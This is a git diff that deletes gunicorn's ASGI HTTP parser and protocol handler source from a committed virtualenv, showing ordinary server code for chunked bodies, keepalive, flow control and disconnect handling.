def _parse_body(self): - """Parse Content-Length delimited body.""" - if not self._buffer or self._body_remaining <= 0: - return False - - chunk_size = min(len(self._buffer), self._body_remaining) - chunk = bytes(self._buffer[:chunk_size]) - del self._buffer[:chunk_size] - self._body_remaining -= chunk_size - - if self._on_body: - self._on_body(chunk) - - if self._body_remaining <= 0: - self._state = 'complete' - self.is_complete = True - if self._on_message_complete: - self._on_message_complete() - - return True - - def _parse_chunked_body(self): - """Parse chunked transfer encoding.""" - while self._buffer: - if self._chunk_state == 'size': - # Looking for chunk size line - idx = self._buffer.find(b'\r\n') - if idx == -1: - return False - - size_line = bytes(self._buffer[:idx]) - del self._buffer[:idx + 2] - - # Handle chunk extensions (e.g., "5;ext=value") - semicolon = size_line.find(b';') - if semicolon != -1: - # RFC 9112: chunk-ext must not contain bare CR - chunk_ext = size_line[semicolon + 1:] - if b'\r' in chunk_ext: - raise InvalidChunkExtension("bare CR not allowed") - size_line = size_line[:semicolon] - - # Strict validation: reject leading/trailing whitespace - # to prevent parser desync (request smuggling vector) - if size_line != size_line.strip(): - raise InvalidChunkSize("Whitespace in chunk size") - if not size_line: - raise InvalidChunkSize("Empty chunk size") - - # Validate hex characters only (0-9, a-f, A-F) - for c in size_line: - if c not in b'0123456789abcdefABCDEF': - raise InvalidChunkSize("Invalid character in chunk size") - - try: - self._chunk_size = int(size_line, 16) - except ValueError: - raise InvalidChunkSize("Invalid chunk size") - - if self._chunk_size == 0: - # Final chunk - skip trailers - self._chunk_state = 'trailer' - else: - self._chunk_remaining = self._chunk_size - self._chunk_state = 'data' - - elif self._chunk_state == 'data': - # Reading chunk data - if not self._buffer: - return False - - to_read = min(len(self._buffer), self._chunk_remaining) - chunk = bytes(self._buffer[:to_read]) - del self._buffer[:to_read] - self._chunk_remaining -= to_read - - if self._on_body: - self._on_body(chunk) - - if self._chunk_remaining == 0: - # Need to consume trailing CRLF - self._chunk_state = 'crlf' - - elif self._chunk_state == 'crlf': - # Skip CRLF after chunk data - if len(self._buffer) < 2: - return False - del self._buffer[:2] # Skip \r\n - self._chunk_state = 'size' - - elif self._chunk_state == 'trailer': - # Skip trailer headers - idx = self._buffer.find(b'\r\n') - if idx == -1: - return False - - line = bytes(self._buffer[:idx]) - del self._buffer[:idx + 2] - - if not line: - # Empty line = end of trailers - self._state = 'complete' - self.is_complete = True - if self._on_message_complete: - self._on_message_complete() - return True - - # RFC 9110 section 6.5.1: reject fields that must not appear - # in trailers. - colon = line.find(b':') - if colon > 0: - name = line[:colon].strip(b' \t').lower() - if name in RFC9110_6_5_1_FORBIDDEN_TRAILER: - raise InvalidHeaderName(name.decode('latin-1')) - - return False - - def _is_valid_method(self, method): - """Check if method is valid token with conventional restrictions.""" - if not method: - return False - # Check length (3-20 chars) - if not 3 <= len(method) <= 20: - return False - # Check for lowercase or # (unconventional) - for c in method: - if c in b'abcdefghijklmnopqrstuvwxyz#': - return False - return self._is_valid_token(method) - - def _is_valid_token(self, data): - """Check if data contains only RFC 9110 token characters.""" - if not data: - return False - for c in data: - if c < 0x21 or c > 0x7e: - return False - # RFC 9110 delimiters: "(),/:;<=>?@[\]{} - if c in b'"(),/:;<=>?@[\\]{}"': - return False - return True - - def _has_invalid_header_chars(self, value): - """RFC 9110 section 5.5: only VCHAR, SP, HTAB, and obs-text allowed.""" - for c in value: - if c <= 0x08 or 0x0a <= c <= 0x1f or c == 0x7f: - return True - return False - - -class CallbackRequest: - """Request object built from callback parser state. - - Works with both H1CProtocol (C extension) and PythonProtocol. - """ - - __slots__ = ( - 'method', 'uri', 'path', 'query', 'fragment', 'version', - 'headers', 'headers_bytes', 'scheme', 'raw_path', - 'content_length', 'chunked', 'must_close', - 'proxy_protocol_info', '_expect_100_continue', - ) - - def __init__(self): - self.method = None - self.uri = None - self.path = None - self.query = None - self.fragment = None - self.version = None - self.headers = [] - self.headers_bytes = [] - self.scheme = "http" - self.raw_path = b'' - self.content_length = 0 - self.chunked = False - self.must_close = False - self.proxy_protocol_info = None - self._expect_100_continue = False - - @classmethod - def from_parser(cls, parser, is_ssl=False): - """Build request from callback parser state. - - Args: - parser: H1CProtocol or PythonProtocol instance - is_ssl: Whether connection is SSL/TLS - - Returns: - CallbackRequest instance - """ - from urllib.parse import unquote_to_bytes - - req = cls() - req.method = parser.method.decode('ascii') - - # Parse path and query from URL - # Per ASGI spec: - # - path: percent-decoded UTF-8 string - # - raw_path: original bytes as received - raw_url = parser.path - if b'?' in raw_url: - path_part, query_part = raw_url.split(b'?', 1) - req.raw_path = path_part # Store original bytes - req.path = unquote_to_bytes(path_part).decode('utf-8', errors='replace') - req.query = query_part.decode('latin-1') - else: - req.raw_path = raw_url # Store original bytes - req.path = unquote_to_bytes(raw_url).decode('utf-8', errors='replace') - req.query = '' - - req.uri = raw_url.decode('latin-1') - req.fragment = '' - req.version = parser.http_version - - # Headers - store both bytes (for ASGI scope) and strings (for compatibility) - # Use asgi_headers (lowercase names) if available (fast parser >= 0.6.2), - # otherwise fall back to headers (Python parser already uses lowercase) - req.headers_bytes = list(getattr(parser, 'asgi_headers', None) or parser.headers) - req.headers = [ - (n.decode('latin-1').upper(), v.decode('latin-1')) - for n, v in parser.headers - ] - - # RFC 9110 section 5.3, enforced here because this is where both - # parsers converge. Both reject these on their own now (PythonProtocol - # in _finalize_headers(), H1CProtocol since 0.6.6), so this is a - # backstop: the pip requirement is not enforced at runtime, and an - # older gunicorn_h1c would otherwise let duplicates through. - seen_singletons = set() - for name, _value in parser.headers: - lowered = name.lower() - if lowered in RFC9110_5_3_SINGLETON_FIELDS: - if lowered in seen_singletons: - raise InvalidHeader( - "Duplicate %s header" % lowered.decode('latin-1')) - seen_singletons.add(lowered) - - req.scheme = 'https' if is_ssl else 'http' - req.content_length = parser.content_length or 0 - req.chunked = parser.is_chunked - req.must_close = not parser.should_keep_alive - - # Check for Expect: 100-continue - for name, value in parser.headers: - if name == b'expect' and value.lower() == b'100-continue': - req._expect_100_continue = True - break - - return req - - def should_close(self): - """Check if connection should be closed after this request.""" - if self.must_close: - return True - for name, value in self.headers: - if name == "CONNECTION": - v = value.lower().strip(" \t") - if v == "close": - return True - elif v == "keep-alive": - return False - break - return self.version <= (1, 0) - - def get_header(self, name): - """Get a header value by name (case-insensitive).""" - name = name.upper() - for h, v in self.headers: - if h == name: - return v - return None diff --git a/venv/Lib/site-packages/gunicorn/asgi/protocol.py b/venv/Lib/site-packages/gunicorn/asgi/protocol.py deleted file mode 100644 index 03bfecfd1c6c952e33a2c9b239faecb3ca9865da..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/asgi/protocol.py +++ /dev/null @@ -1,1802 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -ASGI protocol handler for gunicorn. - -Implements asyncio.Protocol to handle HTTP/1.x and HTTP/2 connections -and dispatch to ASGI applications. -""" - -import asyncio -import errno -import ipaddress -import time - -from gunicorn.asgi.unreader import AsyncUnreader -from gunicorn.asgi.parser import ( - PythonProtocol, CallbackRequest, ParseError, - LimitRequestLine, LimitRequestHeaders, InvalidChunkExtension -) -from gunicorn.asgi.uwsgi import AsyncUWSGIRequest -from gunicorn.http.errors import NoMoreData -from gunicorn.uwsgi.errors import UWSGIParseException - - -class _RequestTime: - """Lightweight request time container compatible with logging atoms. - - Uses time.monotonic() elapsed seconds instead of datetime.now() syscalls. - Provides .seconds and .microseconds attributes for glogging.py compatibility. - """ - - __slots__ = ('seconds', 'microseconds') - - def __init__(self, elapsed): - self.seconds = int(elapsed) - self.microseconds = int((elapsed - self.seconds) * 1_000_000) - - -def _normalize_sockaddr(sockaddr): - """Normalize socket address to ASGI-compatible (host, port) tuple. - - ASGI spec requires server/client to be (host, port) tuples. - IPv6 sockets return 4-tuples (host, port, flowinfo, scope_id), - so we extract just the first two elements. - """ - return tuple(sockaddr[:2]) if sockaddr else None - - -def _check_trusted_proxy(peer_addr, allow_list, networks): - """Check if peer address is in the trusted proxy list. - - Cached at connection start to avoid repeated IP parsing per request. - """ - if not isinstance(peer_addr, tuple): - return False - if '*' in allow_list: - return True - try: - ip = ipaddress.ip_address(peer_addr[0]) - except ValueError: - return False - for network in networks: - if ip in network: - return True - return False - - -# Cached response bytes for common cases -_CACHED_STATUS_LINES = {} -_CACHED_SERVER_HEADER = b"Server: gunicorn/asgi\r\n" - -# Date header cache (updated once per second) -_cached_date_header = b"" -_cached_date_time = 0.0 - -# Pre-compute common chunk size prefixes to avoid repeated formatting -_CHUNK_PREFIXES = {i: f"{i:x}\r\n".encode("latin-1") for i in range(16384)} - -# High water mark for write buffer backpressure (64KB) -HIGH_WATER_LIMIT = 65536 - - -class FlowControl: - """Manage transport-level write flow control. - - Blocks send() when transport buffer exceeds high water mark, - preventing memory issues with large streaming responses. - """ - __slots__ = ('_transport', 'read_paused', 'write_paused', '_is_writable_event') - - def __init__(self, transport): - self._transport = transport - self.read_paused = False - self.write_paused = False - self._is_writable_event = asyncio.Event() - self._is_writable_event.set() - - async def drain(self): - """Wait until transport is writable.""" - await self._is_writable_event.wait() - - def pause_reading(self): - if not self.read_paused: - self.read_paused = True - self._transport.pause_reading() - - def resume_reading(self): - if self.read_paused: - self.read_paused = False - self._transport.resume_reading() - - def pause_writing(self): - if not self.write_paused: - self.write_paused = True - self._is_writable_event.clear() - - def resume_writing(self): - if self.write_paused: - self.write_paused = False - self._is_writable_event.set() - - -def _get_cached_date_header(): - """Get cached Date header, updating once per second.""" - global _cached_date_header, _cached_date_time # pylint: disable=global-statement - now = time.time() - if now - _cached_date_time >= 1.0: - # Update date header - from email.utils import formatdate - _cached_date_header = f"Date: {formatdate(usegmt=True)}\r\n".encode("latin-1") - _cached_date_time = now - return _cached_date_header - - -def _get_cached_status_line(version, status, reason): - """Get cached status line bytes.""" - key = (version, status) - if key not in _CACHED_STATUS_LINES: - line = f"HTTP/{version[0]}.{version[1]} {status} {reason}\r\n" - _CACHED_STATUS_LINES[key] = line.encode("latin-1") - return _CACHED_STATUS_LINES[key] - - -class ASGIResponseInfo: - """Simple container for ASGI response info for access logging.""" - - def __init__(self, status, headers, sent): - self.status = status - self.sent = sent - # Convert headers to list of string tuples for logging - self.headers = [] - for name, value in headers: - if isinstance(name, bytes): - name = name.decode("latin-1") - if isinstance(value, bytes): - value = value.decode("latin-1") - self.headers.append((name, value)) - - -class BodyReceiver: - """Body receiver for callback-based parsers. - - Body chunks are fed directly via the feed() method from parser callbacks. - Uses Future-based waiting for efficient async receive(). - """ - - __slots__ = ('_chunks', '_complete', '_body_finished', '_closed', - '_body_wait_expired', '_waiter', 'request', 'protocol') - - def __init__(self, request, protocol): - self.request = request - self.protocol = protocol - self._chunks = [] - self._complete = False - self._body_finished = False # True after returning more_body=False - # _closed means the client transport has gone away (signal_disconnect - # was called or the protocol detected a disconnect). _body_wait_expired - # means the body did not finish framing within the configured timeout - # but the transport itself may still be open. Both surface as - # http.disconnect to the app, but they are distinct conditions. - self._closed = False - self._body_wait_expired = False - self._waiter = None - - def feed(self, chunk): - """Feed a body chunk directly (called by parser callback).""" - if chunk: - self._chunks.append(chunk) - self._wake_waiter() - - def set_complete(self): - """Mark body as complete (called when message ends).""" - self._complete = True - self._wake_waiter() - - def signal_disconnect(self): - """Signal that the client transport has gone away.""" - self._closed = True - self._wake_waiter() - - @property - def _disconnected(self): - """True when the receiver should yield http.disconnect to the app.""" - return self._closed or self._body_wait_expired - - def _wake_waiter(self): - """Wake up any pending receive() call.""" - if self._waiter is not None and not self._waiter.done(): - self._waiter.set_result(None) - - async def receive(self): # pylint: disable=too-many-return-statements - """ASGI receive callable - returns body chunks or disconnect.""" - # Already disconnected (transport closed or body wait timed out) - if self._disconnected: - return {"type": "http.disconnect"} - - # Body finished but not disconnected - wait for actual disconnect - # This is needed for frameworks like Django that listen for disconnect - if self._body_finished: - await self._wait_for_disconnect() - return {"type": "http.disconnect"} - - # Fast path: chunk already available - if self._chunks: - return self._pop_chunk() - - # Body complete with no more chunks - if self._complete: - self._body_finished = True - return {"type": "http.request", "body": b"", "more_body": False} - - # No body expected - if self.request.content_length == 0 and not self.request.chunked: - self._complete = True - self._body_finished = True - return {"type": "http.request", "body": b"", "more_body": False} - - # Check protocol closed state - if self.protocol._closed: - self._closed = True - return {"type": "http.disconnect"} - - # Wait for body chunk to arrive via callback. A real disconnect or a - # body-wait expiry is surfaced by _wait_for_data via _disconnected; a - # task cancellation propagates to the app rather than being masked as - # http.disconnect (#3627). - await self._wait_for_data() - return self._build_receive_result() - - def _pop_chunk(self): - """Pop a chunk and return the appropriate message.""" - chunk = self._chunks.pop(0) - more = bool(self._chunks) or not self._complete - if not more: - self._body_finished = True - return {"type": "http.request", "body": chunk, "more_body": more} - - def _build_receive_result(self): - """Build receive result after waiting for data.""" - if self._disconnected: - return {"type": "http.disconnect"} - - if self._chunks: - return self._pop_chunk() - - if self._complete: - self._body_finished = True - return {"type": "http.request", "body": b"", "more_body": False} - - # Wait returned without data and the message was not framed complete: - # treat as a body-wait expiry rather than synthesizing end-of-body - # (which would desync the next pipelined request). - self._body_wait_expired = True - return {"type": "http.disconnect"} - - async def _wait_for_data(self): - """Wait for body data to arrive via callback.""" - if self._chunks or self._complete or self._disconnected: - return - - # Create a new waiter - loop = asyncio.get_event_loop() - self._waiter = loop.create_future() - - # Bound the wait by the configured worker timeout (default 30s). - # The protocol-level timeout drives transport disconnect handling; - # this only needs to escape an idle wait if data never arrives. - cfg = getattr(self.protocol, 'cfg', None) - timeout = getattr(cfg, 'timeout', None) if cfg is not None else None - if not timeout or timeout <= 0: - timeout = 30.0 - - try: - await asyncio.wait_for(self._waiter, timeout=timeout) - except asyncio.TimeoutError: - # No data arrived in time: mark body-wait as expired so receive() - # yields http.disconnect rather than a fake terminal http.request - # with more_body=False. The transport itself may still be alive; - # _closed stays False so any code keying on transport-disconnect - # only is unaffected. - self._body_wait_expired = True - finally: - self._waiter = None - - async def _wait_for_disconnect(self): - """Wait for connection to close after body is finished. - - This is needed for ASGI apps (like Django) that call receive() - to listen for client disconnect after the request body is consumed. - """ - if self._closed: - return - - # Check protocol closed state first - if self.protocol._closed: - self._closed = True - return - - # Create a new waiter to wait for disconnect - loop = asyncio.get_event_loop() - self._waiter = loop.create_future() - - # Wait for a real transport disconnect. If the application's task is - # cancelled (eg the framework cancels its disconnect listener once the - # response is done), let CancelledError propagate instead of swallowing - # it and returning http.disconnect. Swallowing it makes frameworks like - # Django raise RequestAborted in place of running response.close(), - # which skips request_finished and leaks DB connections (#3627). - try: - await self._waiter - finally: - self._waiter = None - self._closed = True - - -class ASGIProtocol(asyncio.Protocol): - """HTTP/1.1 protocol handler for ASGI applications. - - Handles connection lifecycle, request parsing, and ASGI app invocation. - Uses callback-based parsing (H1CProtocol/PythonProtocol) for efficient - incremental parsing in data_received(). - """ - - # Class-level cache for H1CProtocol availability - _h1c_available = None - _h1c_protocol_class = None - _h1c_has_limits = False # True if >= 0.4.1 (has limit parameters) - _h1c_limit_request_line = None # Exception class from gunicorn_h1c >= 0.4.1 - _h1c_limit_request_headers = None # Exception class from gunicorn_h1c >= 0.4.1 - _h1c_invalid_chunk_extension = None # Exception class from gunicorn_h1c >= 0.6.3 - - def __init__(self, worker): - self.worker = worker - self.cfg = worker.cfg - self.log = worker.log - self.app = worker.asgi - - self.transport = None - self.reader = None # Only used for HTTP/2 - self.writer = None - self._task = None - self.req_count = 0 - - # Connection state - self._closed = False - # Guards the connection_lost() cleanup so it runs exactly once. Kept - # separate from ``_closed`` because a server-initiated close sets - # ``_closed`` early (in _close_transport), and connection_lost() must - # still run its cleanup (e.g. decrement nr_conns) afterwards. - self._conn_lost_handled = False - self._body_receiver = None # Set per-request for disconnect signaling - - # Response buffering for write batching - self._response_buffer = None - - # Backpressure control - self._reading_paused = False - self._max_buffer_size = 65536 * 4 # 256KB max buffer (HTTP/2 only) - - # Keep-alive timer - self._keepalive_handle = None - - # Callback parser state - self._callback_parser = None - self._request_ready = None # Event signaling headers complete - self._current_request = None # Request built from parser state - self._is_ssl = False - - # Write flow control - self._flow_control = None - - # WebSocket protocol (set during upgrade, receives data via callbacks) - self._websocket = None - - def connection_made(self, transport): - """Called when a connection is established.""" - self.transport = transport - self.worker.nr_conns += 1 - - # Check if HTTP/2 was negotiated via ALPN - ssl_object = transport.get_extra_info('ssl_object') - if ssl_object and hasattr(ssl_object, 'selected_alpn_protocol'): - alpn = ssl_object.selected_alpn_protocol() - if alpn == 'h2': - # HTTP/2 connection - uses StreamReader (complex framing) - self.reader = asyncio.StreamReader() - self._task = self.worker.loop.create_task( - self._handle_http2_connection(transport, ssl_object) - ) - return - - # HTTP/1.x connection - always use callback parser - self._is_ssl = ssl_object is not None - self.writer = transport - - # Setup flow control for HTTP/1.x - self._flow_control = FlowControl(transport) - transport.set_write_buffer_limits(high=HIGH_WATER_LIMIT) - - # Setup callback parser with request ready event - self._request_ready = asyncio.Event() - self._setup_callback_parser() - self._task = self.worker.loop.create_task(self._handle_connection()) - - @classmethod - def _check_h1c_protocol_available(cls): - """Check if H1CProtocol is available (cached at class level).""" - if cls._h1c_available is None: - try: - import gunicorn_h1c - from gunicorn_h1c import H1CProtocol - cls._h1c_available = True - cls._h1c_protocol_class = H1CProtocol - # Require >= 0.4.1 for limit enforcement - cls._h1c_has_limits = hasattr(gunicorn_h1c, 'LimitRequestLine') - # Store h1c exception classes for handling (>= 0.4.1) - cls._h1c_limit_request_line = getattr( - gunicorn_h1c, 'LimitRequestLine', None - ) - cls._h1c_limit_request_headers = getattr( - gunicorn_h1c, 'LimitRequestHeaders', None - ) - # Check for InvalidChunkExtension (>= 0.6.3) - cls._h1c_invalid_chunk_extension = getattr( - gunicorn_h1c, 'InvalidChunkExtension', None - ) - except ImportError: - cls._h1c_available = False - cls._h1c_has_limits = False - return cls._h1c_available - - # Compatibility flags not supported by the fast parser - _FAST_PARSER_INCOMPATIBLE_FLAGS = ( - 'permit_obsolete_folding', - 'strip_header_spaces', - ) - - def _setup_callback_parser(self): - """Create callback parser based on http_parser setting. - - Parser selection: - - auto: Use H1CProtocol if available (>= 0.4.1) and no incompatible flags, else PythonProtocol - - fast: Require H1CProtocol >= 0.4.1 (error if unavailable or incompatible flags) - - python: Use PythonProtocol only - """ - parser_setting = getattr(self.cfg, 'http_parser', 'auto') - - # Check for incompatible compatibility flags - incompatible = [] - for flag in self._FAST_PARSER_INCOMPATIBLE_FLAGS: - if getattr(self.cfg, flag, False): - incompatible.append(flag) - # PROXY protocol framing is implemented only in PythonProtocol; the C parser - # has no proxy_protocol kwarg and would silently drop the framing. - if getattr(self.cfg, 'proxy_protocol', 'off') != 'off': - incompatible.append('proxy_protocol') - - if parser_setting == 'python': - parser_class = PythonProtocol - elif parser_setting == 'fast': - if not self._check_h1c_protocol_available(): - raise RuntimeError("gunicorn_h1c required for http_parser='fast'") - if not ASGIProtocol._h1c_has_limits: - raise RuntimeError( - "gunicorn_h1c >= 0.4.1 required for http_parser='fast'. " - "Please upgrade: pip install --upgrade gunicorn_h1c" - ) - if incompatible: - raise RuntimeError( - "http_parser='fast' is incompatible with compatibility flags: %s. " - "Use http_parser='python' or disable these flags." - % ', '.join(incompatible) - ) - parser_class = ASGIProtocol._h1c_protocol_class - else: # auto - if (self._check_h1c_protocol_available() and - ASGIProtocol._h1c_has_limits and not incompatible): - parser_class = ASGIProtocol._h1c_protocol_class - else: - parser_class = PythonProtocol - - # Handle limit_request_line=0 (unlimited per documentation) - # PythonProtocol handles 0 correctly, but C parser needs a large value - limit_request_line = self.cfg.limit_request_line - if limit_request_line == 0 and parser_class != PythonProtocol: - limit_request_line = 1024 * 1024 # 1MB for C parser - - # Create parser with callbacks and limit parameters (both parsers support them). - # Only the Python parser implements PROXY protocol framing; pass the option there. - parser_kwargs = { - 'on_headers_complete': self._on_headers_complete, - 'on_body': self._on_body, - 'on_message_complete': self._on_message_complete, - 'limit_request_line': limit_request_line, - 'limit_request_fields': self.cfg.limit_request_fields, - 'limit_request_field_size': self.cfg.limit_request_field_size, - 'permit_unconventional_http_method': self.cfg.permit_unconventional_http_method, - 'permit_unconventional_http_version': self.cfg.permit_unconventional_http_version, - } - if parser_class is PythonProtocol: - # PROXY framing is only honored when the peer is in - # ``proxy_allow_ips`` (the WSGI parser enforces the same gate at - # gunicorn/http/message.py:proxy_protocol_access_check). Untrusted - # peers get proxy_protocol='off', so any framing they send is - # interpreted as malformed HTTP and rejected with a 400. - cfg_proxy = getattr(self.cfg, 'proxy_protocol', 'off') - if cfg_proxy != 'off': - peername = self.transport.get_extra_info('peername') - normalized = _normalize_sockaddr(peername) - trusted = _check_trusted_proxy( - normalized, - self.cfg.proxy_allow_ips, - self.cfg.proxy_allow_networks(), - ) - parser_kwargs['proxy_protocol'] = cfg_proxy if trusted else 'off' - else: - parser_kwargs['proxy_protocol'] = 'off' - self._callback_parser = parser_class(**parser_kwargs) - - def _on_headers_complete(self): - """Callback: request headers are complete.""" - # Build request from parser state - self._current_request = CallbackRequest.from_parser( - self._callback_parser, is_ssl=self._is_ssl - ) - - # Create body receiver for this request - self._body_receiver = BodyReceiver(self._current_request, self) - - # Signal that request is ready for processing - if self._request_ready: - self._request_ready.set() - - # Return True for HEAD to skip body parsing - return self._callback_parser.method == b'HEAD' - - def _on_body(self, chunk): - """Callback: received body data chunk.""" - if self._body_receiver: - self._body_receiver.feed(chunk) - - def _on_message_complete(self): - """Callback: request is fully received.""" - if self._body_receiver: - self._body_receiver.set_complete() - - def _handle_h1c_exception(self, exc): - """Handle gunicorn_h1c exceptions with appropriate HTTP status codes. - - Returns True if the exception was handled, False otherwise. - """ - # pylint: disable=isinstance-second-argument-not-valid-type - h1c_limit_line = ASGIProtocol._h1c_limit_request_line - if h1c_limit_line is not None and isinstance(exc, h1c_limit_line): - self._send_error_response(414, str(exc)) # URI Too Long - self._close_transport() - return True - h1c_limit_headers = ASGIProtocol._h1c_limit_request_headers - if h1c_limit_headers is not None and isinstance(exc, h1c_limit_headers): - self._send_error_response(431, str(exc)) # Request Header Fields Too Large - self._close_transport() - return True - h1c_chunk_ext = ASGIProtocol._h1c_invalid_chunk_extension - if h1c_chunk_ext is not None and isinstance(exc, h1c_chunk_ext): - self._send_error_response(400, str(exc)) - self._close_transport() - return True - return False - - def data_received(self, data): - """Called when data is received on the connection.""" - if self._websocket: - # WebSocket path - forward to WebSocket protocol - self._websocket.feed_data(data) - return - if self.reader: - # HTTP/2 path - use StreamReader - self.reader.feed_data(data) - elif self._callback_parser: - # HTTP/1.x path - feed directly to callback parser - if not self._feed_callback_parser(data): - return - - # Backpressure: pause reading if buffer is too large - if not self._reading_paused and self._is_buffer_full(): - self._pause_reading() - - def _feed_callback_parser(self, data): - """Feed data to callback parser, handling parse errors. - - Returns True if parsing should continue, False if connection was closed. - """ - try: - self._callback_parser.feed(data) - return True - except LimitRequestLine as e: - self._send_error_response(414, str(e)) # URI Too Long - self._close_transport() - return False - except LimitRequestHeaders as e: - self._send_error_response(431, str(e)) # Request Header Fields Too Large - self._close_transport() - return False - except (InvalidChunkExtension, ParseError) as e: - self._send_error_response(400, str(e)) - self._close_transport() - return False - except Exception as e: - # Handle gunicorn_h1c exceptions (different class hierarchy) - if self._handle_h1c_exception(e): - return False - raise - - def _is_buffer_full(self): - """Check if internal buffer is full (HTTP/2 only).""" - if self.reader and hasattr(self.reader, '_buffer'): - return len(self.reader._buffer) > self._max_buffer_size - return False - - def _pause_reading(self): - """Pause reading from transport due to backpressure.""" - if not self._reading_paused and self.transport: - self._reading_paused = True - try: - self.transport.pause_reading() - except (AttributeError, RuntimeError): - pass - - def _resume_reading(self): - """Resume reading from transport.""" - if self._reading_paused and self.transport: - self._reading_paused = False - try: - self.transport.resume_reading() - except (AttributeError, RuntimeError): - pass - - def _arm_keepalive_timer(self): - """Arm keepalive timeout timer after response completion.""" - if self._keepalive_handle: - self._keepalive_handle.cancel() - keepalive_timeout = self.cfg.keepalive - if keepalive_timeout > 0: - self._keepalive_handle = self.worker.loop.call_later( - keepalive_timeout, self._keepalive_timeout - ) - - def _cancel_keepalive_timer(self): - """Cancel keepalive timer when new request arrives.""" - if self._keepalive_handle: - self._keepalive_handle.cancel() - self._keepalive_handle = None - - def _keepalive_timeout(self): - """Called when keepalive timeout expires.""" - self._close_transport() - - def connection_lost(self, exc): - """Called when the connection is lost or closed. - - Instead of immediately cancelling the task, we signal a disconnect - event and send an http.disconnect message to the receive queue. - This allows the ASGI app to clean up resources (like database - connections) gracefully before the task is cancelled. - - See: https://github.com/benoitc/gunicorn/issues/3484 - """ - # Guard against multiple calls (idempotent). Use a dedicated flag rather - # than ``_closed``: a server-initiated close sets ``_closed`` in - # _close_transport() before the transport reports the loss, and the - # cleanup below (notably decrementing nr_conns) must still run. - if self._conn_lost_handled: - return - - self._conn_lost_handled = True - self._closed = True - self.worker.nr_conns -= 1 - - # Cancel keepalive timer - self._cancel_keepalive_timer() - - if self.reader: - self.reader.feed_eof() - - # Signal EOF to WebSocket if active - if self._websocket: - self._websocket.feed_eof() - - # Signal disconnect to the app via the body receiver - if self._body_receiver is not None: - self._body_receiver.signal_disconnect() - - # Schedule task cancellation after grace period if task doesn't complete - if self._task and not self._task.done(): - grace_period = getattr(self.cfg, 'asgi_disconnect_grace_period', 3) - if grace_period > 0: - self.worker.loop.call_later( - grace_period, - self._cancel_task_if_pending - ) - else: - # Grace period of 0 means cancel immediately - self._task.cancel() - - def _cancel_task_if_pending(self): - """Cancel the task if it's still pending after grace period.""" - if self._task and not self._task.done(): - self._task.cancel() - - def pause_writing(self): - """Called by transport when write buffer exceeds high water mark.""" - if self._flow_control: - self._flow_control.pause_writing() - - def resume_writing(self): - """Called by transport when write buffer drains below low water mark.""" - if self._flow_control: - self._flow_control.resume_writing() - - def _safe_write(self, data): - """Write data to transport, handling connection errors gracefully. - - Catches exceptions that occur when the client has disconnected: - - OSError with errno EPIPE, ECONNRESET, ENOTCONN - - RuntimeError when transport is closing/closed - - AttributeError when transport is None - - These are silently ignored since the client is already gone. - """ - try: - self.transport.write(data) - except OSError as e: - if e.errno not in (errno.EPIPE, errno.ECONNRESET, errno.ENOTCONN): - self.log.exception("Socket error writing response.") - except (RuntimeError, AttributeError): - # Transport is closing/closed or None - pass - - async def _handle_connection(self): - """Main request handling loop using callback-based parser. - - Uses synchronous parsing in data_received(), avoiding the async - overhead of pull-based parsing. The parser fires callbacks when - headers and body data are available, and this loop waits on - events rather than actively parsing. - """ - try: - peername = self.transport.get_extra_info('peername') - sockname = self.transport.get_extra_info('sockname') - - # Check protocol type - use separate path for uWSGI - protocol_type = getattr(self.cfg, 'protocol', 'http') - if protocol_type == 'uwsgi': - await self._handle_connection_uwsgi(peername, sockname) - return - - while not self._closed: - self.req_count += 1 - self._cancel_keepalive_timer() - - # Wait for headers to be parsed (callback sets the event and _current_request) - # Don't clear if request already arrived (data_received ran before us) - if not self._request_ready.is_set(): - try: - await self._request_ready.wait() - except asyncio.CancelledError: - break - - if self._closed or self._current_request is None: - break - - request = self._current_request - - # If PROXY protocol provided a real client address, use it. - effective_peer = self._effective_peername(peername) - - # Check for WebSocket upgrade - if self._is_websocket_upgrade(request): - await self._handle_websocket(request, sockname, effective_peer) - break # WebSocket takes over the connection - - # Handle HTTP request - keepalive = await self._handle_http_request( - request, sockname, effective_peer - ) - - # Increment worker request count - self.worker.nr += 1 - - # Check max_requests - if self.worker.nr >= self.worker.max_requests: - self.log.info("Autorestarting worker after current request.") - self.worker.alive = False - keepalive = False - - if not keepalive or not self.worker.alive: - break - - # Check connection limits for keepalive - if not self.cfg.keepalive: - break - - # Refuse keepalive if the previous request body was not fully - # framed: residual bytes in the transport stream would be parsed - # as the start of the next request (smuggling). Only _complete - # signals a cleanly framed message; _closed is set on transport - # disconnect *and* on receive timeout, neither of which means - # the body finished framing. - receiver = self._body_receiver - if receiver is not None and not receiver._complete: - break - - # Resume reading if paused during body consumption - self._resume_reading() - - # Reset parser for next request - if self._callback_parser: - self._callback_parser.reset() - - # Clear request state for next iteration - self._current_request = None - self._body_receiver = None - self._request_ready.clear() - - # Arm keepalive timer between requests - self._arm_keepalive_timer() - - except asyncio.CancelledError: - pass - except Exception as e: - self.log.exception("Error handling connection: %s", e) - finally: - self._close_transport() - - async def _handle_connection_uwsgi(self, peername, sockname): - """Handle uWSGI protocol connections (legacy path).""" - unreader = AsyncUnreader(self.reader) - - while not self._closed: - self.req_count += 1 - - try: - request = await AsyncUWSGIRequest.parse( - self.cfg, - unreader, - peername, - self.req_count - ) - except NoMoreData: - break - except UWSGIParseException as e: - self.log.debug("uWSGI parse error: %s", e) - break - - # Check for WebSocket upgrade - if self._is_websocket_upgrade(request): - await self._handle_websocket(request, sockname, peername) - break - - # Handle HTTP request - keepalive = await self._handle_http_request( - request, sockname, peername - ) - - # Increment worker request count - self.worker.nr += 1 - - # Check max_requests - if self.worker.nr >= self.worker.max_requests: - self.log.info("Autorestarting worker after current request.") - self.worker.alive = False - keepalive = False - - if not keepalive or not self.worker.alive: - break - - if not self.cfg.keepalive: - break - - await request.drain_body() - - def _is_websocket_upgrade(self, request): - """Check if request is a WebSocket upgrade. - - Per RFC 6455 Section 4.1, the opening handshake requires: - - HTTP method MUST be GET - - Upgrade header MUST be "websocket" (case-insensitive) - - Connection header MUST contain "Upgrade" - """ - # RFC 6455: The method of the request MUST be GET - if request.method != "GET": - return False - - upgrade = None - connection = None - for name, value in request.headers: - if name == "UPGRADE": - upgrade = value.lower() - elif name == "CONNECTION": - connection = value.lower() - return upgrade == "websocket" and connection and "upgrade" in connection - - async def _handle_websocket(self, request, sockname, peername): - """Handle WebSocket upgrade request.""" - from gunicorn.asgi.websocket import WebSocketProtocol - - # Stop 